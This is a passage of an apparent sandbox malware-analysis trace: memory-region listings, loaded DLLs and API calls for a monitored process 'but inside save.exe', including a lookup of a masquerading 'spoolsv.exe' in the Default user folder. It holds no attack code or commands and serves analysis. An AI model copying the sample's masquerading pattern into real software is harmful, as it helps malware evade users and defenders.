mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9548 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9552 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9569 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9665 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9666 start_va = 0x1b940000 end_va = 0x1bc11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9667 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Thread: id = 385 os_tid = 0x5ec [0262.662] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.113] EtwEventRegister (in: ProviderId=0x26a5818, EnableCallback=0x1ab0135c, CallbackContext=0x0, RegHandle=0x26a57f8 | out: RegHandle=0x26a57f8) returned 0x0 [0277.141] EtwEventRegister (in: ProviderId=0x26a9f88, EnableCallback=0x1ab013ac, CallbackContext=0x0, RegHandle=0x26a9f68 | out: RegHandle=0x26a9f68) returned 0x0 [0279.098] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4c3c20*=0xd8, lpdwindex=0x28e324 | out: lpdwindex=0x28e324) returned 0x0 [0280.652] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4c3c20*=0xd8, lpdwindex=0x28e324) Thread: id = 430 os_tid = 0x208 Thread: id = 437 os_tid = 0x4a8 [0263.823] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 443 os_tid = 0x33c Thread: id = 478 os_tid = 0x888 [0278.222] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.224] CoGetContextToken (in: pToken=0x1b13f4d0 | out: pToken=0x1b13f4d0) returned 0x0 [0278.224] CObjectContext::QueryInterface () returned 0x0 [0278.224] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.224] Release () returned 0x0 [0278.225] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.226] CoUninitialize () [0288.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b13d8f8 | out: phkResult=0x1b13d8f8*=0x0) returned 0x2 [0288.717] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.740] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\spoolsv.exe", nBufferLength=0x105, lpBuffer=0x1b13e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\spoolsv.exe", lpFilePart=0x0) returned 0x1c Thread: id = 479 os_tid = 0x88c Thread: id = 515 os_tid = 0x920 Thread: id = 540 os_tid = 0x994 Thread: id = 541 os_tid = 0x998 Thread: id = 561 os_tid = 0x9e8 [0281.414] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.415] CoGetContextToken (in: pToken=0x1b93faf0 | out: pToken=0x1b93faf0) returned 0x0 [0281.415] CObjectContext::QueryInterface () returned 0x0 [0281.415] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.415] Release () returned 0x0 [0281.415] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.415] CoUninitialize () Process: id = "92" image_name = "but inside save.exe" filename = "c:\\comproviderruntimecommon\\but inside save.exe" page_root = "0x2153f000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\comproviderRuntimecommon\\but inside save.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7474 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7475 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7476 start_va = 0x1e0000 end_va = 0x2b5fff monitored = 1 entry_point = 0x2ad67e region_type = mapped_file name = "but inside save.exe" filename = "\\comproviderRuntimecommon\\but inside save.exe" (normalized: "c:\\comproviderruntimecommon\\but inside save.exe") Region: id = 7477 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 7478 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7479 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7480 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7481 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7482 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7483 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7484 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7485 start_va = 0x40000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7486 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7487 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7662 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7663 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7664 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7665 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7666 start_va = 0x40000 end_va = 0x5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7667 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 7668 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7669 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 7670 start_va = 0x500000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7742 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7743 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7790 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7791 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7792 start_va = 0x500000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7793 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 7794 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 7795 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7796 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7797 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7798 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7799 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7800 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7965 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7966 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7967 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 7968 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7969 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7970 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7971 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 7972 start_va = 0xb20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 7973 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7974 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7975 start_va = 0x50000 end_va = 0x5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 7976 start_va = 0x500000 end_va = 0x5cffff monitored = 1 entry_point = 0x5cd67e region_type = mapped_file name = "but inside save.exe" filename = "\\comproviderRuntimecommon\\but inside save.exe" (normalized: "c:\\comproviderruntimecommon\\but inside save.exe") Region: id = 7977 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 8206 start_va = 0x500000 end_va = 0x5cffff monitored = 1 entry_point = 0x5cd67e region_type = mapped_file name = "but inside save.exe" filename = "\\comproviderRuntimecommon\\but inside save.exe" (normalized: "c:\\comproviderruntimecommon\\but inside save.exe") Region: id = 8207 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8244 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8263 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8412 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8413 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8414 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8415 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 8416 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 8437 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 8438 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8439 start_va = 0x7fe94a00000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8440 start_va = 0x7fe94a10000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8441 start_va = 0x7fe94aa0000 end_va = 0x7fe94b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 8442 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 8443 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8444 start_va = 0x1f20000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 8445 start_va = 0x500000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 8452 start_va = 0x2090000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 8453 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8454 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8455 start_va = 0x2190000 end_va = 0x1a18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 8456 start_va = 0x1a190000 end_va = 0x1a50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a190000" filename = "" Region: id = 8457 start_va = 0x1a510000 end_va = 0x1a610fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a510000" filename = "" Region: id = 8462 start_va = 0x1a640000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a640000" filename = "" Region: id = 8463 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8464 start_va = 0x1a740000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 8465 start_va = 0x1a860000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 8466 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8602 start_va = 0x1a960000 end_va = 0x1ac2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8660 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8675 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8676 start_va = 0x5e0000 end_va = 0x65cfff monitored = 0 entry_point = 0x5ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8677 start_va = 0x5e0000 end_va = 0x65cfff monitored = 0 entry_point = 0x5ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8678 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8744 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8745 start_va = 0x1ac30000 end_va = 0x1ae1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac30000" filename = "" Region: id = 8746 start_va = 0x1ac30000 end_va = 0x1ad0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac30000" filename = "" Region: id = 8747 start_va = 0x1ada0000 end_va = 0x1ae1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8797 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8798 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8827 start_va = 0x7fe94b10000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b10000" filename = "" Region: id = 8848 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8849 start_va = 0x7fe94ba0000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ba0000" filename = "" Region: id = 8876 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8892 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8893 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8914 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8931 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8932 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8933 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8934 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8987 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9002 start_va = 0x1ae20000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 9019 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9042 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9043 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9044 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9096 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9097 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9114 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9129 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9140 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9172 start_va = 0x5e0000 end_va = 0x641fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9229 start_va = 0x1f70000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 9230 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 9231 start_va = 0x1b0b0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0b0000" filename = "" Region: id = 9232 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9233 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9246 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9247 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9248 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9249 start_va = 0x1f20000 end_va = 0x1f64fff monitored = 0 entry_point = 0x1f21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9355 start_va = 0x1f20000 end_va = 0x1f64fff monitored = 0 entry_point = 0x1f21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9356 start_va = 0x1f20000 end_va = 0x1f64fff monitored = 0 entry_point = 0x1f21064 region_type = mapped_file name = "rsaenh.dll" 